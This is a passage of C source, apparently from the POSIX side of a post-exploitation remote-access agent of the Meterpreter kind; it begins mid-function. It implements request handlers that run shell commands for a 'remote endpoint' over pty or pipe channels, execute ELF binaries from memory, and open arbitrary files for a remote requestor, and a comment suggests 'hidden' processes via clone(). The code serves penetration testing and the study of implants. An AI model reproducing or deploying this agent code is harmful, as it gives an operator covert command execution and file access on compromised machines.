// XXX.. don't feel like messing with it atm
idx = 0;
if(arguments) {
// Add one for the null, one for the space
cl_len = strlen(path) + strlen(arguments) + 2;
command_line = malloc(cl_len);
memset(command_line, 0, cl_len);
strcat(command_line, path);
strcat(command_line, " ");
strcat(command_line, arguments);
argv[idx++] = "sh";
argv[idx++] = "-c";
argv[idx++] = command_line;
path = "/bin/sh";
} else {
argv[idx++] = path;
}
argv[idx++] = NULL;
//for (i = 0; i < idx; i++) {
// dprintf(" argv[%d] = %s", i, argv[i]);
//}
// If the channelized flag is set, create a pipe for stdin/stdout/stderr
// such that input can be directed to and from the remote endpoint
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
{
ProcessChannelContext * ctx = NULL;
PoolChannelOps chops;
Channel *newChannel;
// Allocate the channel context
if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext))))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
memset(&chops, 0, sizeof(PoolChannelOps));
// Initialize the channel operations
chops.native.context = ctx;
chops.native.write = process_channel_write;
chops.native.close = process_channel_close;
chops.native.interact = process_channel_interact;
chops.read = process_channel_read;
// Allocate the pool channel
if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops)))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Set the channel's type to process
channel_set_type(newChannel, "process");
have_pty = !try_open_pty(&master, &slave);
if(have_pty)
{
ctx->pStdin = master;
ctx->pStdout = master;
} else {
// fall back to pipes if there is no tty
// Allocate the stdin and stdout pipes
if(pipe(&in) || pipe(&out))
{
channel_destroy(newChannel, NULL);
newChannel = NULL;
free(ctx);
result = GetLastError();
break;
}
// Set the context to have the write side of stdin and the read side
// of stdout
ctx->pStdin = in[1];
ctx->pStdout = out[0];
}
fcntl(ctx->pStdin, F_SETFD, fcntl(ctx->pStdin, F_GETFD) | O_NONBLOCK);
fcntl(ctx->pStdout, F_SETFD, fcntl(ctx->pStdout, F_GETFD) | O_NONBLOCK);
// Add the channel identifier to the response packet
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,channel_get_id(newChannel));
} else {
// need to /dev/null it all
if( (devnull = open("/dev/null", O_RDONLY) ) == -1) {
// XXX This is possible, due to chroots etc. We could close
// fd 0/1/2 and hope the program isn't buggy.
result = GetLastError();
break;
}
}
/*
* We can create "hidden" processes via clone() instead of fork()
* clone(child_stack, flags = CLONE_THREAD) should do the trick. Probably worth while as well.
* memory / fd's etc won't be shared. linux specific syscall though.
*/
pid = fork();
switch(pid) {
case -1:
result = errno;
break;
case 0:
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
{
if(have_pty)
{
dup2(slave, 0);
dup2(slave, 1);
dup2(slave, 2);
} else {
dup2(in[0], 0);
dup2(out[1], 1);
dup2(out[1], 2);
}
} else {
dup2(devnull, 0);
dup2(devnull, 1);
dup2(devnull, 2);
}
for(i = 3; i < 1024; i++) close(i);
if(doInMemory)
{
int found;
Elf32_Ehdr *ehdr = (Elf32_Ehdr *)inMemoryData.buffer;
Elf32_Phdr *phdr = (Elf32_Phdr *)(inMemoryData.buffer + ehdr->e_phoff);
for(found = 0, i = 0; i < ehdr->e_phnum; i++, phdr++) {
if(phdr->p_type == PT_LOAD) {
found = 1;
break;
}
}
if(! found) return; // XXX, not too much we can do in this case ?
perform_in_mem_exe(argv, environ, inMemoryData.buffer, inMemoryData.header.length, phdr->p_vaddr & ~4095, ehdr->e_entry);
} else {
execve(path, argv, environ);
}
dprintf("failed to execute program, exit(EXIT_FAILURE) time");
dprintf("doInMemory = %d, hidden = %d", doInMemory, hidden);
exit(EXIT_FAILURE);
default:
dprintf("child pid is %d\n", pid);
packet_add_tlv_uint(response, TLV_TYPE_PID, (DWORD)pid);
packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE, (DWORD)pid);
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) {
if(have_pty) {
dprintf("child channelized\n");
close(slave);
} else {
close(in[0]);
close(out[1]);
close(out[2]);
}
}
break;
}
} while(0);
#endif
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
/*
* Handles the open request for a file channel and returns a valid channel
* identifier to the requestor if the file is opened successfully
*/
DWORD request_fs_file_channel_open(Remote *remote, Packet *packet)
{
Packet *response = NULL;
PCHAR filePath, mode;
DWORD res = ERROR_SUCCESS;
DWORD flags = 0;
Channel *newChannel = NULL;
PoolChannelOps chops = { 0 };
FileContext *ctx;
LPSTR expandedFilePath = NULL;
// Allocate a response
response = packet_create_response(packet);
// Get the channel flags
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
// Allocate storage for the file context
if (!(ctx = calloc(1, sizeof(FileContext)))) {
res = ERROR_NOT_ENOUGH_MEMORY;
goto out;
}
// Get the file path and the mode
filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
mode = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_MODE);
if (mode == NULL) {
mode = "rb";
}
res = fs_fopen(filePath, mode, &ctx->fd);
if (res != ERROR_SUCCESS) {
goto out;
}
memset(&chops, 0, sizeof(chops));
// Initialize the pool operation handlers
chops.native.context = ctx;
chops.native.write = file_channel_write;
chops.native.close = file_channel_close;
chops.read = file_channel_read;
chops.eof = file_channel_eof;
chops.seek = file_channel_seek;
chops.tell = file_channel_tell;
// Check the response allocation & allocate a un-connected
// channel
if ((!response) || (!(newChannel = channel_create_pool(0, flags, &chops)))) {
res = ERROR_NOT_ENOUGH_MEMORY;
goto out;
}
// Add the channel identifier to the response
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
out:
// Transmit the packet if it's valid
packet_transmit_response(res, remote, response);
// Clean up on failure
if (res != ERROR_SUCCESS) {
if (newChannel) {
channel_destroy(newChannel, NULL);
}
free(ctx);
}
return res;
}